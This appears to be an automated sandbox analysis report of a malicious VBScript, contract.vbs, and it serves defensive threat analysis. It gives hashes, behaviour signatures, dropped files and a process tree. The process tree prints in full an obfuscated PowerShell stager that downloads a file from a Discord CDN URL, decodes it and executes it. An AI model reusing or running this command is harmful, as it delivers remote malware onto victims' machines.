Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20230712-en
  • resource tags

    arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
  • submitted
    07/08/2023, 10:05

General

  • Target

    contract.vbs

  • Size

    16KB

  • MD5

    bc802313367fa8e3e95a8febaac30eef

  • SHA1

    fae8073b8bb36c8112c980f77af462589791457a

  • SHA256

    d1e6ce0bb1b6370887610365325b052b2be95fb20f160f7bed6d28f16f93e7d8

  • SHA512

    c385a20ebac46bbbe2f3c95bdaf77a5f5fda682c1ab2ca56b8de7a444df7a94229a2295acbee2d71d5363d3677ed005a9c4a66b58377d2b267e487dc5564449f

  • SSDEEP

    384:cMerh4avZ9DMwRXR59o8FvsWIa/+BSH4//eeXoOj:cvrh4gD37Bds0XHreZj

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\contract.vbs"
    1⤵
    • Blocklisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:2336
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Meth239 ([String]$Elecntensiv){For($Elec=1; $Elec -lt $Elecntensiv.Length-1; $Elec+=(1+1)){$Strewing55=$Elecntensiv.Substring($Elec, 1);$Cylleniusg=$Cylleniusg+$Strewing55}$Cylleniusg;}$Mongo=Meth239 'hhLtdtSpFsE:B/ /OcSdFnK.RdPiAsNcGoBrad aAp p .FcDoRmA/CaBt tgaTcJhWm eNn tDs /P1R0O7S5P6 4Q1M3 1K9C5G2 4U9P2S5P4A4R2B/F1C1Z3I7 8 4R0N7H9G5M1P9b4J4 9i9S1T0I2S/NFToDd bMrIeOmPsK.SxItKpO ';$Cylleniusg01=Meth239 ' i eCxS ';$Straf175 = Meth239 'S\TsWyFsEw oTwE6a4R\DWBiSn dHo wBsCPUoLwLeFrTSMhTeIlOlL\RvI1 . 0R\SpDoSw eFrHsFhMeSl lL.Ce xEeF ';&($Cylleniusg01) (Meth239 'T$PMFeKlOoVdTrGaCmS2A=b$EeBn vD:CwCiZnEdCiPr ') ;&($Cylleniusg01) (Meth239 ' $MSDtTrSaIfU1V7M5A=T$CM eDlCoAdIrMaSmr2K+V$eS tbr aEfI1E7w5S ') ;&($Cylleniusg01) (Meth239 ' $IPUaOnNsTySaTePr oMp =F A(B(DgHwBmRiJ SwKiKn 3g2P_CpKrOo cTeUsAsM L- FS CPmrAoVcSeAsSsDISdU=V$C{BP IEDC} ) .CCKoEmEmSaNnSdDLbiMnAeS)F d- sUpplEi tI B[BcYh aMrU]U3V4D ');&($Cylleniusg01) (Meth239 'R$HJ o dUiBeUpIrBeAsTtH K=J V$SP aTn sSyAa e rhoApB[O$ PSaKnTsSyMaIeArHoBp .UcBoDusnBti-H2D]U ');&($Cylleniusg01) (Meth239 ' $hDdeFlBa gC1B9 7B=P(HTCe s tM-PPRaAt hT B$OSPt r aKfF1 7R5 )s A-SA nMdc B(a[LICn tUPwtAr ] :S:VsLiezEe -Te qM E8I)G ') ;if ($Delag197) {.$Straf175 $Jodieprest;} else {;$Cylleniusg00=Meth239 ' SAtBaJr tp-GBKiAtSsWT rLaMnMsUfPeSrN -LSLoFu r c eT S$PMFoSn g oI n- DReCs t iAnPaAtIi oFnP L$ MEePlMoBd r aUmU2H ';&($Cylleniusg01) (Meth239 ' $EMhePlAo dSrMaOm 2V=M$SeBnRv :AaAp pDdOa tHaL ') ;&($Cylleniusg01) (Meth239 'uI mGpPo rNtN-RMAo d u lKeA IBFiStDsATRr aDnHsPfaeSrB ') ;$Melodram2=$Melodram2+'\Fablesknsk.fin';while (-not $Trans) {&($Cylleniusg01) (Meth239 'H$ TSrKaInRsF=R(STPeMs tH-EPPaPt hF H$ MAeVlOoAd rIaMmA2s)M ') ;&($Cylleniusg01) $Cylleniusg00;&($Cylleniusg01) (Meth239 'PSStWa rPtT- SHlIeMeDpR 5b ');}&($Cylleniusg01) (Meth239 'B$ MTe t hB2 3 =Y pGVeFtS-SCFo n t eBnTtB L$rMCe l oFdRrGaPmD2S ');&($Cylleniusg01) (Meth239 'G$RS uSr vBeSiSlfiPn gN K=B C[MS y sKt eSmF.KCFoPnDvBeRrOt ]P:G:SFUrUo mtBKaks e 6 4US tWrAiGnMgU(D$MM eBtMh 2A3G)M ');&($Cylleniusg01) (Meth239 'U$SCeySl l e nDiLu s gs2 A=S V[ STytsUtFeJmE.BTfeGxHtP.CEBn c oGd iDnFgU]T:M:KAKS CEIKIU.BGBe toSSt rCiKnOg (L$BSOuSrHvEeTisl iSnNgS)U ');&($Cylleniusg01) (Meth239 'P$OFcaSk tVoB=B$LCSyBlSlSeRnCiBuSssgP2 .TsLu bHs tDrIiSnLgR( 2F7M7F6U3N3F,B1F9H7F8 6S)M ');&($Cylleniusg01) $Fakto;}"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2728
      • C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function Meth239 ([String]$Elecntensiv){For($Elec=1; $Elec -lt $Elecntensiv.Length-1; $Elec+=(1+1)){$Strewing55=$Elecntensiv.Substring($Elec, 1);$Cylleniusg=$Cylleniusg+$Strewing55}$Cylleniusg;}$Mongo=Meth239 'hhLtdtSpFsE:B/ /OcSdFnK.RdPiAsNcGoBrad aAp p .FcDoRmA/CaBt tgaTcJhWm eNn tDs /P1R0O7S5P6 4Q1M3 1K9C5G2 4U9P2S5P4A4R2B/F1C1Z3I7 8 4R0N7H9G5M1P9b4J4 9i9S1T0I2S/NFToDd bMrIeOmPsK.SxItKpO ';$Cylleniusg01=Meth239 ' i eCxS ';$Straf175 = Meth239 'S\TsWyFsEw oTwE6a4R\DWBiSn dHo wBsCPUoLwLeFrTSMhTeIlOlL\RvI1 . 0R\SpDoSw eFrHsFhMeSl lL.Ce xEeF ';&($Cylleniusg01) (Meth239 'T$PMFeKlOoVdTrGaCmS2A=b$EeBn vD:CwCiZnEdCiPr ') ;&($Cylleniusg01) (Meth239 ' $MSDtTrSaIfU1V7M5A=T$CM eDlCoAdIrMaSmr2K+V$eS tbr aEfI1E7w5S ') ;&($Cylleniusg01) (Meth239 ' $IPUaOnNsTySaTePr oMp =F A(B(DgHwBmRiJ SwKiKn 3g2P_CpKrOo cTeUsAsM L- FS CPmrAoVcSeAsSsDISdU=V$C{BP IEDC} ) .CCKoEmEmSaNnSdDLbiMnAeS)F d- sUpplEi tI B[BcYh aMrU]U3V4D ');&($Cylleniusg01) (Meth239 'R$HJ o dUiBeUpIrBeAsTtH K=J V$SP aTn sSyAa e rhoApB[O$ PSaKnTsSyMaIeArHoBp .UcBoDusnBti-H2D]U ');&($Cylleniusg01) (Meth239 ' $hDdeFlBa gC1B9 7B=P(HTCe s tM-PPRaAt hT B$OSPt r aKfF1 7R5 )s A-SA nMdc B(a[LICn tUPwtAr ] :S:VsLiezEe -Te qM E8I)G ') ;if ($Delag197) {.$Straf175 $Jodieprest;} else {;$Cylleniusg00=Meth239 ' SAtBaJr tp-GBKiAtSsWT rLaMnMsUfPeSrN -LSLoFu r c eT S$PMFoSn g oI n- DReCs t iAnPaAtIi oFnP L$ MEePlMoBd r aUmU2H ';&($Cylleniusg01) (Meth239 ' $EMhePlAo dSrMaOm 2V=M$SeBnRv :AaAp pDdOa tHaL ') ;&($Cylleniusg01) (Meth239 'uI mGpPo rNtN-RMAo d u lKeA IBFiStDsATRr aDnHsPfaeSrB ') ;$Melodram2=$Melodram2+'\Fablesknsk.fin';while (-not $Trans) {&($Cylleniusg01) (Meth239 'H$ TSrKaInRsF=R(STPeMs tH-EPPaPt hF H$ MAeVlOoAd rIaMmA2s)M ') ;&($Cylleniusg01) $Cylleniusg00;&($Cylleniusg01) (Meth239 'PSStWa rPtT- SHlIeMeDpR 5b ');}&($Cylleniusg01) (Meth239 'B$ MTe t hB2 3 =Y pGVeFtS-SCFo n t eBnTtB L$rMCe l oFdRrGaPmD2S ');&($Cylleniusg01) (Meth239 'G$RS uSr vBeSiSlfiPn gN K=B C[MS y sKt eSmF.KCFoPnDvBeRrOt ]P:G:SFUrUo mtBKaks e 6 4US tWrAiGnMgU(D$MM eBtMh 2A3G)M ');&($Cylleniusg01) (Meth239 'U$SCeySl l e nDiLu s gs2 A=S V[ STytsUtFeJmE.BTfeGxHtP.CEBn c oGd iDnFgU]T:M:KAKS CEIKIU.BGBe toSSt rCiKnOg (L$BSOuSrHvEeTisl iSnNgS)U ');&($Cylleniusg01) (Meth239 'P$OFcaSk tVoB=B$LCSyBlSlSeRnCiBuSssgP2 .TsLu bHs tDrIiSnLgR( 2F7M7F6U3N3F,B1F9H7F8 6S)M ');&($Cylleniusg01) $Fakto;}"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2324

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

          Filesize

          344B

          MD5

          c9dc8bdaddbe6486d834c7fe0b42434a

          SHA1

          d4b6f6a7a3f7025df77a9af55e2a2251434c3741

          SHA256

          581bce12e578b2f9a4a2d0f1109d5174c9dae4bcd5278c59ac801d619dc91589

          SHA512

          8916995e5ce6663a3c52ca75de298debdb3bb70a3dce40d3a978056d4879c36a78d5024c480e3c4840fb9c48fe0a9fcae7443387340ba35a24fb5a5a8127b941

        • C:\Users\Admin\AppData\Local\Temp\Cab9A00.tmp

          Filesize

          62KB

          MD5

          3ac860860707baaf32469fa7cc7c0192

          SHA1

          c33c2acdaba0e6fa41fd2f00f186804722477639

          SHA256

          d015145d551ecd14916270efad773bbc9fd57fad2228d2c24559f696c961d904

          SHA512

          d62ad2408c969a95550fb87efda50f988770ba5e39972041bf85924275baf156b8bec309ecc6409e5acdd37ec175dea40eff921ab58933b5b5b5d35a6147567c

        • C:\Users\Admin\AppData\Local\Temp\TarB617.tmp

          Filesize

          164KB

          MD5

          4ff65ad929cd9a367680e0e5b1c08166

          SHA1

          c0af0d4396bd1f15c45f39d3b849ba444233b3a2

          SHA256

          c8733c93cc5aaf5ca206d06af22ee8dbdec764fb5085019a6a9181feb9dfdee6

          SHA512

          f530dc0d024a5a3b8903ffaaa41b608a5ccdd6da4ba1949f2c2e55a9fca475fec5c8d2119b5763cabe7ef1c3788fb9dcac621869db51d65b1d83cfe404fb4c27

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\RHSGXVAB0Q1UZKV123EQ.temp

          Filesize

          7KB

          MD5

          b2e1a778f952c17b633fff13e8bdac11

          SHA1

          04061ff0304cadda0a07d9afe624b9d3922dbacc

          SHA256

          6365fc0f2beab0aeb15d37cadd71fdf0abac00a3dd9092323cb2dfb328f1ff1b

          SHA512

          89c4afeb7dad3ac997b9c781d235979ce80ef3e499db4a55dcd82acf5d6949e0ec2f14c0a229854792efa559e7e770dd205c1a041cab95d7ec0fcc6bb6210667

        • memory/2324-84-0x0000000074460000-0x0000000074A0B000-memory.dmp

          Filesize

          5.7MB

        • memory/2324-103-0x00000000023A0000-0x00000000023E0000-memory.dmp

          Filesize

          256KB

        • memory/2324-102-0x0000000074460000-0x0000000074A0B000-memory.dmp

          Filesize

          5.7MB

        • memory/2324-85-0x00000000023A0000-0x00000000023E0000-memory.dmp

          Filesize

          256KB

        • memory/2324-86-0x00000000023A0000-0x00000000023E0000-memory.dmp

          Filesize

          256KB

        • memory/2324-83-0x0000000074460000-0x0000000074A0B000-memory.dmp

          Filesize

          5.7MB

        • memory/2728-78-0x0000000002960000-0x00000000029E0000-memory.dmp

          Filesize

          512KB

        • memory/2728-80-0x0000000002960000-0x00000000029E0000-memory.dmp

          Filesize

          512KB

        • memory/2728-79-0x000007FEF5360000-0x000007FEF5CFD000-memory.dmp

          Filesize

          9.6MB

        • memory/2728-77-0x0000000002960000-0x00000000029E0000-memory.dmp

          Filesize

          512KB

        • memory/2728-76-0x000007FEF5360000-0x000007FEF5CFD000-memory.dmp

          Filesize

          9.6MB

        • memory/2728-97-0x000007FEF5360000-0x000007FEF5CFD000-memory.dmp

          Filesize

          9.6MB

        • memory/2728-98-0x0000000002960000-0x00000000029E0000-memory.dmp

          Filesize

          512KB

        • memory/2728-100-0x0000000002960000-0x00000000029E0000-memory.dmp

          Filesize

          512KB

        • memory/2728-99-0x0000000002960000-0x00000000029E0000-memory.dmp

          Filesize

          512KB

        • memory/2728-101-0x0000000002960000-0x00000000029E0000-memory.dmp

          Filesize

          512KB

        • memory/2728-75-0x0000000002320000-0x0000000002328000-memory.dmp

          Filesize

          32KB

        • memory/2728-74-0x000000001B2D0000-0x000000001B5B2000-memory.dmp

          Filesize

          2.9MB